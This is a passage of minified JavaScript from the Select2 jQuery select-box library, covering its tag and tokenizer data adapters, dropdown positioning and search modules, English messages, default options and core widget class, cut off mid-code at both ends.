t.url&&(t.url=t.url.call(this.$element,n)),"function"==typeof t.data&&(t.data=t.data.call(this.$element,n)),this.ajaxOptions.delay&&null!=n.term?(this._queryTimeout&&window.clearTimeout(this._queryTimeout),this._queryTimeout=window.setTimeout(e,this.ajaxOptions.delay)):e()},n}),e.define("select2/data/tags",["jquery"],function(u){function e(e,t,n){var i=n.get("tags"),r=n.get("createTag");void 0!==r&&(this.createTag=r);var o=n.get("insertTag");if(void 0!==o&&(this.insertTag=o),e.call(this,t,n),u.isArray(i))for(var s=0;s<i.length;s++){var a=i[s],l=this._normalizeItem(a),c=this.option(l);this.$element.append(c)}}return e.prototype.query=function(e,c,u){var d=this;this._removeOldTags(),null!=c.term&&null==c.page?e.call(this,c,function e(t,n){for(var i=t.results,r=0;r<i.length;r++){var o=i[r],s=null!=o.children&&!e({results:o.children},!0);if((o.text||"").toUpperCase()===(c.term||"").toUpperCase()||s)return!n&&(t.data=i,void u(t))}if(n)return!0;var a=d.createTag(c);if(null!=a){var l=d.option(a);l.attr("data-select2-tag",!0),d.addOptions([l]),d.insertTag(i,a)}t.results=i,u(t)}):e.call(this,c,u)},e.prototype.createTag=function(e,t){var n=u.trim(t.term);return""===n?null:{id:n,text:n}},e.prototype.insertTag=function(e,t,n){t.unshift(n)},e.prototype._removeOldTags=function(e){this.$element.find("option[data-select2-tag]").each(function(){this.selected||u(this).remove()})},e}),e.define("select2/data/tokenizer",["jquery"],function(d){function e(e,t,n){var i=n.get("tokenizer");void 0!==i&&(this.tokenizer=i),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){e.call(this,t,n),this.$search=t.dropdown.$search||t.selection.$search||n.find(".select2-search__field")},e.prototype.query=function(e,t,n){var i=this;t.term=t.term||"";var r=this.tokenizer(t,this.options,function(e){var t=i._normalizeItem(e);if(!i.$element.find("option").filter(function(){return d(this).val()===t.id}).length){var n=i.option(t);n.attr("data-select2-tag",!0),i._removeOldTags(),i.addOptions([n])}!function(e){i.trigger("select",{data:e})}(t)});r.term!==t.term&&(this.$search.length&&(this.$search.val(r.term),this.$search.trigger("focus")),t.term=r.term),e.call(this,t,n)},e.prototype.tokenizer=function(e,t,n,i){for(var r=n.get("tokenSeparators")||[],o=t.term,s=0,a=this.createTag||function(e){return{id:e.term,text:e.term}};s<o.length;){var l=o[s];if(-1!==d.inArray(l,r)){var c=o.substr(0,s),u=a(d.extend({},t,{term:c}));null!=u?(i(u),o=o.substr(s+1)||"",s=0):s++}else s++}return{term:o}},e}),e.define("select2/data/minimumInputLength",[],function(){function e(e,t,n){this.minimumInputLength=n.get("minimumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",t.term.length<this.minimumInputLength?this.trigger("results:message",{message:"inputTooShort",args:{minimum:this.minimumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumInputLength",[],function(){function e(e,t,n){this.maximumInputLength=n.get("maximumInputLength"),e.call(this,t,n)}return e.prototype.query=function(e,t,n){t.term=t.term||"",0<this.maximumInputLength&&t.term.length>this.maximumInputLength?this.trigger("results:message",{message:"inputTooLong",args:{maximum:this.maximumInputLength,input:t.term,params:t}}):e.call(this,t,n)},e}),e.define("select2/data/maximumSelectionLength",[],function(){function e(e,t,n){this.maximumSelectionLength=n.get("maximumSelectionLength"),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("select",function(){i._checkIfMaximumSelected()})},e.prototype.query=function(e,t,n){var i=this;this._checkIfMaximumSelected(function(){e.call(i,t,n)})},e.prototype._checkIfMaximumSelected=function(e,n){var i=this;this.current(function(e){var t=null!=e?e.length:0;0<i.maximumSelectionLength&&t>=i.maximumSelectionLength?i.trigger("results:message",{message:"maximumSelected",args:{maximum:i.maximumSelectionLength}}):n&&n()})},e}),e.define("select2/dropdown",["jquery","./utils"],function(t,e){function n(e,t){this.$element=e,this.options=t,n.__super__.constructor.call(this)}return e.Extend(n,e.Observable),n.prototype.render=function(){var e=t('<span class="select2-dropdown"><span class="select2-results"></span></span>');return e.attr("dir",this.options.get("dir")),this.$dropdown=e},n.prototype.bind=function(){},n.prototype.position=function(e,t){},n.prototype.destroy=function(){this.$dropdown.remove()},n}),e.define("select2/dropdown/search",["jquery","../utils"],function(o,e){function t(){}return t.prototype.render=function(e){var t=e.call(this),n=o('<span class="select2-search select2-search--dropdown"><input class="select2-search__field" type="search" tabindex="-1" autocomplete="off" autocorrect="off" autocapitalize="none" spellcheck="false" role="searchbox" aria-autocomplete="list" /></span>');return this.$searchContainer=n,this.$search=n.find("input"),t.prepend(n),t},t.prototype.bind=function(e,t,n){var i=this,r=t.id+"-results";e.call(this,t,n),this.$search.on("keydown",function(e){i.trigger("keypress",e),i._keyUpPrevented=e.isDefaultPrevented()}),this.$search.on("input",function(e){o(this).off("keyup")}),this.$search.on("keyup input",function(e){i.handleSearch(e)}),t.on("open",function(){i.$search.attr("tabindex",0),i.$search.attr("aria-controls",r),i.$search.trigger("focus"),window.setTimeout(function(){i.$search.trigger("focus")},0)}),t.on("close",function(){i.$search.attr("tabindex",-1),i.$search.removeAttr("aria-controls"),i.$search.removeAttr("aria-activedescendant"),i.$search.val(""),i.$search.trigger("blur")}),t.on("focus",function(){t.isOpen()||i.$search.trigger("focus")}),t.on("results:all",function(e){null!=e.query.term&&""!==e.query.term||(i.showSearch(e)?i.$searchContainer.removeClass("select2-search--hide"):i.$searchContainer.addClass("select2-search--hide"))}),t.on("results:focus",function(e){e.data._resultId?i.$search.attr("aria-activedescendant",e.data._resultId):i.$search.removeAttr("aria-activedescendant")})},t.prototype.handleSearch=function(e){if(!this._keyUpPrevented){var t=this.$search.val();this.trigger("query",{term:t})}this._keyUpPrevented=!1},t.prototype.showSearch=function(e,t){return!0},t}),e.define("select2/dropdown/hidePlaceholder",[],function(){function e(e,t,n,i){this.placeholder=this.normalizePlaceholder(n.get("placeholder")),e.call(this,t,n,i)}return e.prototype.append=function(e,t){t.results=this.removePlaceholder(t.results),e.call(this,t)},e.prototype.normalizePlaceholder=function(e,t){return"string"==typeof t&&(t={id:"",text:t}),t},e.prototype.removePlaceholder=function(e,t){for(var n=t.slice(0),i=t.length-1;0<=i;i--){var r=t[i];this.placeholder.id===r.id&&n.splice(i,1)}return n},e}),e.define("select2/dropdown/infiniteScroll",["jquery"],function(n){function e(e,t,n,i){this.lastParams={},e.call(this,t,n,i),this.$loadingMore=this.createLoadingMore(),this.loading=!1}return e.prototype.append=function(e,t){this.$loadingMore.remove(),this.loading=!1,e.call(this,t),this.showLoadingMore(t)&&(this.$results.append(this.$loadingMore),this.loadMoreIfNeeded())},e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("query",function(e){i.lastParams=e,i.loading=!0}),t.on("query:append",function(e){i.lastParams=e,i.loading=!0}),this.$results.on("scroll",this.loadMoreIfNeeded.bind(this))},e.prototype.loadMoreIfNeeded=function(){var e=n.contains(document.documentElement,this.$loadingMore[0]);if(!this.loading&&e){var t=this.$results.offset().top+this.$results.outerHeight(!1);this.$loadingMore.offset().top+this.$loadingMore.outerHeight(!1)<=t+50&&this.loadMore()}},e.prototype.loadMore=function(){this.loading=!0;var e=n.extend({},{page:1},this.lastParams);e.page++,this.trigger("query:append",e)},e.prototype.showLoadingMore=function(e,t){return t.pagination&&t.pagination.more},e.prototype.createLoadingMore=function(){var e=n('<li class="select2-results__option select2-results__option--load-more"role="option" aria-disabled="true"></li>'),t=this.options.get("translations").get("loadingMore");return e.html(t(this.lastParams)),e},e}),e.define("select2/dropdown/attachBody",["jquery","../utils"],function(f,a){function e(e,t,n){this.$dropdownParent=f(n.get("dropdownParent")||document.body),e.call(this,t,n)}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("open",function(){i._showDropdown(),i._attachPositioningHandler(t),i._bindContainerResultHandlers(t)}),t.on("close",function(){i._hideDropdown(),i._detachPositioningHandler(t)}),this.$dropdownContainer.on("mousedown",function(e){e.stopPropagation()})},e.prototype.destroy=function(e){e.call(this),this.$dropdownContainer.remove()},e.prototype.position=function(e,t,n){t.attr("class",n.attr("class")),t.removeClass("select2"),t.addClass("select2-container--open"),t.css({position:"absolute",top:-999999}),this.$container=n},e.prototype.render=function(e){var t=f("<span></span>"),n=e.call(this);return t.append(n),this.$dropdownContainer=t},e.prototype._hideDropdown=function(e){this.$dropdownContainer.detach()},e.prototype._bindContainerResultHandlers=function(e,t){if(!this._containerResultsHandlersBound){var n=this;t.on("results:all",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:append",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("results:message",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("select",function(){n._positionDropdown(),n._resizeDropdown()}),t.on("unselect",function(){n._positionDropdown(),n._resizeDropdown()}),this._containerResultsHandlersBound=!0}},e.prototype._attachPositioningHandler=function(e,t){var n=this,i="scroll.select2."+t.id,r="resize.select2."+t.id,o="orientationchange.select2."+t.id,s=this.$container.parents().filter(a.hasScroll);s.each(function(){a.StoreData(this,"select2-scroll-position",{x:f(this).scrollLeft(),y:f(this).scrollTop()})}),s.on(i,function(e){var t=a.GetData(this,"select2-scroll-position");f(this).scrollTop(t.y)}),f(window).on(i+" "+r+" "+o,function(e){n._positionDropdown(),n._resizeDropdown()})},e.prototype._detachPositioningHandler=function(e,t){var n="scroll.select2."+t.id,i="resize.select2."+t.id,r="orientationchange.select2."+t.id;this.$container.parents().filter(a.hasScroll).off(n),f(window).off(n+" "+i+" "+r)},e.prototype._positionDropdown=function(){var e=f(window),t=this.$dropdown.hasClass("select2-dropdown--above"),n=this.$dropdown.hasClass("select2-dropdown--below"),i=null,r=this.$container.offset();r.bottom=r.top+this.$container.outerHeight(!1);var o={height:this.$container.outerHeight(!1)};o.top=r.top,o.bottom=r.top+o.height;var s=this.$dropdown.outerHeight(!1),a=e.scrollTop(),l=e.scrollTop()+e.height(),c=a<r.top-s,u=l>r.bottom+s,d={left:r.left,top:o.bottom},p=this.$dropdownParent;"static"===p.css("position")&&(p=p.offsetParent());var h={top:0,left:0};(f.contains(document.body,p[0])||p[0].isConnected)&&(h=p.offset()),d.top-=h.top,d.left-=h.left,t||n||(i="below"),u||!c||t?!c&&u&&t&&(i="below"):i="above",("above"==i||t&&"below"!==i)&&(d.top=o.top-h.top-s),null!=i&&(this.$dropdown.removeClass("select2-dropdown--below select2-dropdown--above").addClass("select2-dropdown--"+i),this.$container.removeClass("select2-container--below select2-container--above").addClass("select2-container--"+i)),this.$dropdownContainer.css(d)},e.prototype._resizeDropdown=function(){var e={width:this.$container.outerWidth(!1)+"px"};this.options.get("dropdownAutoWidth")&&(e.minWidth=e.width,e.position="relative",e.width="auto"),this.$dropdown.css(e)},e.prototype._showDropdown=function(e){this.$dropdownContainer.appendTo(this.$dropdownParent),this._positionDropdown(),this._resizeDropdown()},e}),e.define("select2/dropdown/minimumResultsForSearch",[],function(){function e(e,t,n,i){this.minimumResultsForSearch=n.get("minimumResultsForSearch"),this.minimumResultsForSearch<0&&(this.minimumResultsForSearch=1/0),e.call(this,t,n,i)}return e.prototype.showSearch=function(e,t){return!(function e(t){for(var n=0,i=0;i<t.length;i++){var r=t[i];r.children?n+=e(r.children):n++}return n}(t.data.results)<this.minimumResultsForSearch)&&e.call(this,t)},e}),e.define("select2/dropdown/selectOnClose",["../utils"],function(o){function e(){}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("close",function(e){i._handleSelectOnClose(e)})},e.prototype._handleSelectOnClose=function(e,t){if(t&&null!=t.originalSelect2Event){var n=t.originalSelect2Event;if("select"===n._type||"unselect"===n._type)return}var i=this.getHighlightedResults();if(!(i.length<1)){var r=o.GetData(i[0],"data");null!=r.element&&r.element.selected||null==r.element&&r.selected||this.trigger("select",{data:r})}},e}),e.define("select2/dropdown/closeOnSelect",[],function(){function e(){}return e.prototype.bind=function(e,t,n){var i=this;e.call(this,t,n),t.on("select",function(e){i._selectTriggered(e)}),t.on("unselect",function(e){i._selectTriggered(e)})},e.prototype._selectTriggered=function(e,t){var n=t.originalEvent;n&&(n.ctrlKey||n.metaKey)||this.trigger("close",{originalEvent:n,originalSelect2Event:t})},e}),e.define("select2/i18n/en",[],function(){return{errorLoading:function(){return"The results could not be loaded."},inputTooLong:function(e){var t=e.input.length-e.maximum,n="Please delete "+t+" character";return 1!=t&&(n+="s"),n},inputTooShort:function(e){return"Please enter "+(e.minimum-e.input.length)+" or more characters"},loadingMore:function(){return"Loading more results…"},maximumSelected:function(e){var t="You can only select "+e.maximum+" item";return 1!=e.maximum&&(t+="s"),t},noResults:function(){return"No results found"},searching:function(){return"Searching…"},removeAllItems:function(){return"Remove all items"}}}),e.define("select2/defaults",["jquery","require","./results","./selection/single","./selection/multiple","./selection/placeholder","./selection/allowClear","./selection/search","./selection/eventRelay","./utils","./translation","./diacritics","./data/select","./data/array","./data/ajax","./data/tags","./data/tokenizer","./data/minimumInputLength","./data/maximumInputLength","./data/maximumSelectionLength","./dropdown","./dropdown/search","./dropdown/hidePlaceholder","./dropdown/infiniteScroll","./dropdown/attachBody","./dropdown/minimumResultsForSearch","./dropdown/selectOnClose","./dropdown/closeOnSelect","./i18n/en"],function(c,u,d,p,h,f,g,m,v,y,s,t,_,w,$,b,A,x,D,S,C,E,O,T,q,j,L,I,e){function n(){this.reset()}return n.prototype.apply=function(e){if(null==(e=c.extend(!0,{},this.defaults,e)).dataAdapter){if(null!=e.ajax?e.dataAdapter=$:null!=e.data?e.dataAdapter=w:e.dataAdapter=_,0<e.minimumInputLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,x)),0<e.maximumInputLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,D)),0<e.maximumSelectionLength&&(e.dataAdapter=y.Decorate(e.dataAdapter,S)),e.tags&&(e.dataAdapter=y.Decorate(e.dataAdapter,b)),null==e.tokenSeparators&&null==e.tokenizer||(e.dataAdapter=y.Decorate(e.dataAdapter,A)),null!=e.query){var t=u(e.amdBase+"compat/query");e.dataAdapter=y.Decorate(e.dataAdapter,t)}if(null!=e.initSelection){var n=u(e.amdBase+"compat/initSelection");e.dataAdapter=y.Decorate(e.dataAdapter,n)}}if(null==e.resultsAdapter&&(e.resultsAdapter=d,null!=e.ajax&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,T)),null!=e.placeholder&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,O)),e.selectOnClose&&(e.resultsAdapter=y.Decorate(e.resultsAdapter,L))),null==e.dropdownAdapter){if(e.multiple)e.dropdownAdapter=C;else{var i=y.Decorate(C,E);e.dropdownAdapter=i}if(0!==e.minimumResultsForSearch&&(e.dropdownAdapter=y.Decorate(e.dropdownAdapter,j)),e.closeOnSelect&&(e.dropdownAdapter=y.Decorate(e.dropdownAdapter,I)),null!=e.dropdownCssClass||null!=e.dropdownCss||null!=e.adaptDropdownCssClass){var r=u(e.amdBase+"compat/dropdownCss");e.dropdownAdapter=y.Decorate(e.dropdownAdapter,r)}e.dropdownAdapter=y.Decorate(e.dropdownAdapter,q)}if(null==e.selectionAdapter){if(e.multiple?e.selectionAdapter=h:e.selectionAdapter=p,null!=e.placeholder&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,f)),e.allowClear&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,g)),e.multiple&&(e.selectionAdapter=y.Decorate(e.selectionAdapter,m)),null!=e.containerCssClass||null!=e.containerCss||null!=e.adaptContainerCssClass){var o=u(e.amdBase+"compat/containerCss");e.selectionAdapter=y.Decorate(e.selectionAdapter,o)}e.selectionAdapter=y.Decorate(e.selectionAdapter,v)}e.language=this._resolveLanguage(e.language),e.language.push("en");for(var s=[],a=0;a<e.language.length;a++){var l=e.language[a];-1===s.indexOf(l)&&s.push(l)}return e.language=s,e.translations=this._processTranslations(e.language,e.debug),e},n.prototype.reset=function(){function a(e){return e.replace(/[^\u0000-\u007E]/g,function(e){return t[e]||e})}this.defaults={amdBase:"./",amdLanguageBase:"./i18n/",closeOnSelect:!0,debug:!1,dropdownAutoWidth:!1,escapeMarkup:y.escapeMarkup,language:{},matcher:function e(t,n){if(""===c.trim(t.term))return n;if(n.children&&0<n.children.length){for(var i=c.extend(!0,{},n),r=n.children.length-1;0<=r;r--)null==e(t,n.children[r])&&i.children.splice(r,1);return 0<i.children.length?i:e(t,i)}var o=a(n.text).toUpperCase(),s=a(t.term).toUpperCase();return-1<o.indexOf(s)?n:null},minimumInputLength:0,maximumInputLength:0,maximumSelectionLength:0,minimumResultsForSearch:0,selectOnClose:!1,scrollAfterSelect:!1,sorter:function(e){return e},templateResult:function(e){return e.text},templateSelection:function(e){return e.text},theme:"default",width:"resolve"}},n.prototype.applyFromElement=function(e,t){var n=e.language,i=this.defaults.language,r=t.prop("lang"),o=t.closest("[lang]").prop("lang"),s=Array.prototype.concat.call(this._resolveLanguage(r),this._resolveLanguage(n),this._resolveLanguage(i),this._resolveLanguage(o));return e.language=s,e},n.prototype._resolveLanguage=function(e){if(!e)return[];if(c.isEmptyObject(e))return[];if(c.isPlainObject(e))return[e];var t;t=c.isArray(e)?e:[e];for(var n=[],i=0;i<t.length;i++)if(n.push(t[i]),"string"==typeof t[i]&&0<t[i].indexOf("-")){var r=t[i].split("-")[0];n.push(r)}return n},n.prototype._processTranslations=function(e,t){for(var n=new s,i=0;i<e.length;i++){var r=new s,o=e[i];if("string"==typeof o)try{r=s.loadPath(o)}catch(e){try{o=this.defaults.amdLanguageBase+o,r=s.loadPath(o)}catch(e){t&&window.console&&console.warn&&console.warn('Select2: The language file for "'+o+'" could not be automatically loaded. A fallback will be used instead.')}}else r=c.isPlainObject(o)?new s(o):o;n.extend(r)}return n},n.prototype.set=function(e,t){var n={};n[c.camelCase(e)]=t;var i=y._convertData(n);c.extend(!0,this.defaults,i)},new n}),e.define("select2/options",["require","jquery","./defaults","./utils"],function(i,d,r,p){function e(e,t){if(this.options=e,null!=t&&this.fromElement(t),null!=t&&(this.options=r.applyFromElement(this.options,t)),this.options=r.apply(this.options),t&&t.is("input")){var n=i(this.get("amdBase")+"compat/inputData");this.options.dataAdapter=p.Decorate(this.options.dataAdapter,n)}}return e.prototype.fromElement=function(e){var t=["select2"];null==this.options.multiple&&(this.options.multiple=e.prop("multiple")),null==this.options.disabled&&(this.options.disabled=e.prop("disabled")),null==this.options.dir&&(e.prop("dir")?this.options.dir=e.prop("dir"):e.closest("[dir]").prop("dir")?this.options.dir=e.closest("[dir]").prop("dir"):this.options.dir="ltr"),e.prop("disabled",this.options.disabled),e.prop("multiple",this.options.multiple),p.GetData(e[0],"select2Tags")&&(this.options.debug&&window.console&&console.warn&&console.warn('Select2: The `data-select2-tags` attribute has been changed to use the `data-data` and `data-tags="true"` attributes and will be removed in future versions of Select2.'),p.StoreData(e[0],"data",p.GetData(e[0],"select2Tags")),p.StoreData(e[0],"tags",!0)),p.GetData(e[0],"ajaxUrl")&&(this.options.debug&&window.console&&console.warn&&console.warn("Select2: The `data-ajax-url` attribute has been changed to `data-ajax--url` and support for the old attribute will be removed in future versions of Select2."),e.attr("ajax--url",p.GetData(e[0],"ajaxUrl")),p.StoreData(e[0],"ajax-Url",p.GetData(e[0],"ajaxUrl")));var n={};function i(e,t){return t.toUpperCase()}for(var r=0;r<e[0].attributes.length;r++){var o=e[0].attributes[r].name,s="data-";if(o.substr(0,s.length)==s){var a=o.substring(s.length),l=p.GetData(e[0],a);n[a.replace(/-([a-z])/g,i)]=l}}d.fn.jquery&&"1."==d.fn.jquery.substr(0,2)&&e[0].dataset&&(n=d.extend(!0,{},e[0].dataset,n));var c=d.extend(!0,{},p.GetData(e[0]),n);for(var u in c=p._convertData(c))-1<d.inArray(u,t)||(d.isPlainObject(this.options[u])?d.extend(this.options[u],c[u]):this.options[u]=c[u]);return this},e.prototype.get=function(e){return this.options[e]},e.prototype.set=function(e,t){this.options[e]=t},e}),e.define("select2/core",["jquery","./options","./utils","./keys"],function(o,c,u,i){var d=function(e,t){null!=u.GetData(e[0],"select2")&&u.GetData(e[0],"select2").destroy(),this.$element=e,this.id=this._generateId(e),t=t||{},this.options=new c(t,e),d.__super__.constructor.call(this);var n=e.attr("tabindex")||0;u.StoreData(e[0],"old-tabindex",n),e.attr("tabindex","-1");var i=this.options.get("dataAdapter");this.dataAdapter=new i(e,this.options);var r=this.render();this._placeContainer(r);var o=this.options.get("selectionAdapter");this.selection=new o(e,this.options),this.$selection=this.selection.render(),this.selection.position(this.$selection,r);var s=this.options.get("dropdownAdapter");this.dropdown=new s(e,this.options),this.$dropdown=this.dropdown.render(),this.dropdown.position(this.$dropdown,r);var a=this.options.get("resultsAdapter");this.results=new a(e,this.options,this.dataAdapter),this.$results=this.results.render(),this.results.position(this.$results,this.$dropdown);var l=this;this._bindAdapters(),this._registerDomEvents(),this._registerDataEvents(),this._registerSelectionEvents(),this._registerDropdownEvents(),this._registerResultsEvents(),this._registerEvents(),this.dataAdapter.current(function(e){l.trigger("selection:update",{data:e})}),e.addClass("select2-hidden-accessible"),e.attr("aria-hidden","true"),this._syncAttributes(),u.StoreData(e[0],"select2",this),e.data("select2",this)};return u.Extend(d,u.Observable),d.prototype._generateId=function(e){return"select2-"+(null!=e.attr("id")?e.attr("id"):null!=e.attr("name")?e.attr("name")+"-"+u.generateChars(2):u.generateChars(4)).replace(/(:|\.|\[|\]|,)/g,"")},d.prototype._placeContainer=function(e){e.insertAfter(this.$element);var t=this._resolveWidth(this.$element,this.options.get("width"));null!=t&&e.css("width",t)},d.prototype._resolveWidth=function(e,t){var n=/^width:(([-+]?([0-9]*\.)?[0-9]+)(px|em|ex|%|in|cm|mm|pt|pc))/i;if("resolve"==t){var i=this._resolveWidth(e,"style");return null!=i?i:this._resolveWidth(e,"element")}if("element"==t){var r=e.outerWidth(!1);return r<=0?"auto":r+"px"}if("style"!=t)return"computedstyle"!=t?t:window.getComputedStyle(e[0]).width;var o=e.attr("style");if("string"!=typeof o)return null;for(var s=o.split(";"),a=0,l=s.length;a<l;a+=1){var c=s[a].replace(/\s/g,"").match(n);if(null!==c&&1<=c.length)return c[1]}return null},d.prototype._bindAdapters=function(){this.dataAdapter.bind(this,this.$container),this.selection.bind(this,this.$container),this.dropdown.bind(this,this.$container),this.results.bind(this,this.$container)},d.prototype._registerDomEvents=function(){var t=this;this.$element.on("change.select2",function(){t.dataAdapter.current(function(e){t.trigger("selection:update",{data:e})})}),this.$element.on("focus.select2",function(e){t.trigger("focus",e)}),this._syncA=u.bind(this._syncAttributes,this),this._syncS=u.bind(this._syncSubtree,this),this.$element[0].attachEvent&&this.$element[0].attachEvent("onpropertychange",this._syncA);var e=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver;null!=e?(this._observer=new e(function(e){t._syncA(),t._syncS(null,e)}),this._observer.observe(this.$element[0],{attributes:!0,childList:!0,subtree:!1})):this.$element[0].addEventListener&&(this.$element[0].addEventListener("DOMAttrModified",t._syncA,!1),this.$element[0].addEventListener("DOMNodeInserted",t._syncS,!1),this.$element[0].addEventListener("DOMNodeRemoved",t._syncS,!1))},d.prototype._registerDataEvents=function(){var n=this;this.dataAdapter.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerSelectionEvents=function(){var n=this,i=["toggle","focus"];this.selection.on("toggle",function(){n.toggleDropdown()}),this.selection.on("focus",function(e){n.focus(e)}),this.selection.on("*",function(e,t){-1===o.inArray(e,i)&&n.trigger(e,t)})},d.prototype._registerDropdownEvents=function(){var n=this;this.dropdown.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerResultsEvents=function(){var n=this;this.results.on("*",function(e,t){n.trigger(e,t)})},d.prototype._registerEvents=function(){var n=this;this.on("open",function(){n.$container.addClass("select2-container--open")}),this.on("close",function(){n.$container.removeClass("select2-container--open")}),this.on("enable",function(){n.$container.removeClass("select2-container--disabled")}),this.on("disable",function(){n.$container.addClass("select2-container--disabled")}),this.on("blur",function(){n.$container.removeClass("select2-container--focus")}),this.on("query",function(t){n.isOpen()||n.trigger("open",{}),this.dataAdapter.query(t,function(e){n.trigger("results:all",{data:e,query:t})})}),this.on("query:append",function(t){this.dataAdapter.query(t,function(e){n.trigger("results:append",{data:e,query:t})})}),this.on("keypress",function(e){var t=e.which;n.isOpen()?t===i.ESC||t===i.TAB||t===i.UP&&e.altKey?(n.close(e),e.preventDefault()):t===i.ENTER?(n.trigger("results:select",{}),e.preventDefault()):t===i.SPACE&&e.ctrlKey?(n.trigger("results:toggle",{}),e.preventDefault()):t===i.UP?(n.trigger("results:previous",{}),e.preventDefault()):t===i.DOWN&&(n.trigger("results:next",{}),e.preventDefault()):(t===i.ENTER||t===i.SPACE||t===i.DOWN&&e.altKey)&&(n.open(),e.preventDefault())})},d.prototype._syncAttributes=function(){this.options.set("disabled",this.$element.prop("disabled")),this.isDisabled()?(this.isOpen()&&this.close(),this.trigger("disable",{})):this.trigger("enable",{})},d.prototype._isChangeMutation=function(e,t){var n=!1,i=this;if(!e||!e.target||"OPTION"===e.target.nodeName||"OPTGROUP"===e.target.nodeName){if(t)if(t.addedNodes&&0<t.addedNodes.length)for(var r=0;r<t.addedNodes.length;r++){t.addedNodes[r].selected&&(n=!0)}else t.removedNodes&&0<t.removedNodes.length?n=!0:o.isArray(t)&&o.each(t,function(e,t){if(i._isChangeMutation(e,t))return!(n=!0)});else n=!0;return n}},d.prototype._syncSubtree=function(e,t){var n=this._isChangeMutation(e,t),i=this;n&&this.dataAdapter.current(function(e){i.trigger("selection:update",{data:e})})},d.prototype.trigger=function(e,t){var n=d.__super__.trigger,i={open:"opening",close:"closing",select:"selecting",unselect:"unselecting",clear:"clearing"};if(void 0===t&&(t={}),e in i){var r=i[e],o={prevented:!1,name:e,args:t};if(n.call(this,r,o),o.prevented)return void(t.prevented=!0)}n.call(this,e,t)},d.prototype.toggleDropdown=function(){this.isDisabled()||(this.isOpen()?this.close():this.open())},d.prototype.open=function(){this.isOpen()||this.isDisabled()||this.trigger("query",{})},d.prototype.close=function(e){this.isOpen()&&this.trigger("close",{originalEvent:e})},d.prototype.isEnabled=function(){return!this.isDisabled()},d.prototype.isDisabled=function(){return this.options.get("disabled")},d.prototype.isOpen=function(){return this.$container.hasClass("select2-container--open")},d.prototype.hasFocus=function(){return this.$container.hasClass("select2-container--focus")},d.prototype.focus=function(e){this.hasFocus()||(this.$container.addClass("select2-container--focus"),this.trigger("focus",{}))},d.prototype.enable=function(e){this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("enable")` method has been deprecated and will be removed in later Select2 versions. Use $element.prop("disabled") instead.'),null!=e&&0!==e.length||(e=[!0]);var t=!e[0];this.$element.prop("disabled",t)},d.prototype.data=function(){this.options.get("debug")&&0<arguments.length&&window.console&&console.warn&&console.warn('Select2: Data can no longer be set using `select2("data")`. You should consider setting the value instead using `$element.val()`.');var t=[];return this.dataAdapter.current(function(e){t=e}),t},d.prototype.val=function(e){if(this.options.get("debug")&&window.console&&console.warn&&console.warn('Select2: The `select2("val")` method has been deprecated and will be removed in later Select2 versions. Use $element.val() instead.'),null==e||0===e.length)return this.$element.val();var t=e[0];o.isArray(t)&&(t=o.map(t,function(e){return e.toString()})),this.$element.val(t).trigger("input").trigger("change")},d.prototype.destroy=function(){this.$container.remove(),this.$element[0].detachEvent&&this.$element[0].detachEvent("onpropertychange",this._syncA),null!=this._observer?(this._observer.disconnect(),this._observer=null):this.$element[0].removeEventListener&&(this.$element[0].removeEventListener("DOMAttrModified",this._syncA,!1),this.$element[0].removeEventListener("DOMNodeInserted",this._syncS,!1),this.$element[0].removeEventListener("DOMNodeRemoved",this._syncS,!1)),this._syncA=null,this._syncS=null,this.$element.off(".select2"),this.$element.attr("tabindex",u.GetData(this.$element[0],"old-tabindex")),this.$element.removeClass("select2-hidden-accessible"),this.$element.attr("aria-hidden","false"),u.RemoveData(this.$element[0]),this.$element.removeData("select2"),this.dataAdapter.destroy(),this.selection.destroy(),this.dropdown.destroy(),this.results.destroy(),this.dataAdapter=null,this.selection=null,this.dropdown=null,this.results=null},d.prototype.render=function(){var e=o('<span class="select2 select2-container"><span class="selection"></span><span class="dropdown-wrapper" aria-hidden="true"></span></span>');return e.attr("dir",this.options.get("dir")),this.$container=e,this.$container.addClass("select2-container--"+this.options.get("theme")),u.StoreData(e[0],"element",this.$element),e},d}),e.define("select2/compat/utils",["jquery"],function(s){return{syncCssClasses:function(e,t,n){var i,r,o=[];(i=s.trim(e.attr("class")))&&s((i=""+i).split(/\s+/)).each(function(){0===this.indexOf("select2-")&&o.push(this)}),(i=s.trim(t.attr("class")))&&s((i=""+i).split(/\s+/)).each(function(){0!==this.indexOf("select2-")&&null!=(r=n(this))&&o.push(r)}),e.attr("class",o.join(" "))}}}),e.define("select2/compat/containerCss",["jquery","./utils"],function(s,a){function l(e){return null}function e(){}return e.prototype.render=function(e){var t=e.call(this),n=this.options.get("containerCssClass")||"";s.isFunction(n)&&(n=n(this.$element));var i=this.options.get("adaptContainerCssClass");if(i=i||l,-1!==n.indexOf(":all:")){n=n.replace(":all:","");var r=i;i=function(e){var t=r(e);return null!=t?t+" "+e:e}}var o=this.options.get("containerCss")||{};return s.isFunction(o)&&(o=o(this.$element)),a.syncCssClasses(t,this.$element,i),t.css(o),t.addClass(n),t},e}),e.define("select2/compat/dropdownCss",["jquery","./utils"],function(s,a){function l(e){return null}function e(){}return e.prototype.render=function(e){var t=e.call(this),n=this.options.get("dropdownCssClass")||"";s.isFunction(n)&&(n=n(this.$element));var i=this.options.get("adaptDropdownCssClass");if(i=i||l,-1!==n.indexOf(":all:")){n=n.replace(":all:","");var r=i;i=function(e){var t=r(e);return null!=t?t+" "+e:e}}var 